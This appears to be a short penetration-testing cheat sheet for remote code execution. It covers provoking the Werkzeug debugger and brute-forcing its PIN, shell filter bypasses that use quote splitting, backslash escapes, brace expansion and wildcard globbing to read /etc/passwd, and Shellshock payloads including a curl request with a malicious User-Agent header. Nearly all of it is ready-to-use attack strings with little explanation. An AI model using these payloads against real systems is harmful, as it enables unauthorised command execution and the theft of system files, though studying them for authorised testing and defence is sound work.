RCE

Werkzeug Debugger

Find somewhere where user input can be supplied and submit the following string to cause an error:

strіng
    

If the target is running their application in debug mode you might be able to run commands. If you are running the target locally, you can probably brute-force the debugger PIN. The debugger PIN is always in the following format: ***-***-***.

Basic Bypasses

i'''d
      i"""d
    

\l\s -l\a\h
    

cat /e?c/p?ss??
      cat /e??/??ss*
    

{ls,}
      {ls,-a}
    

Shellshock Bug

() { :;}; echo vulnerable
    

curl -H "User-Agent: () { :; }; /bin/eject" http://example.com/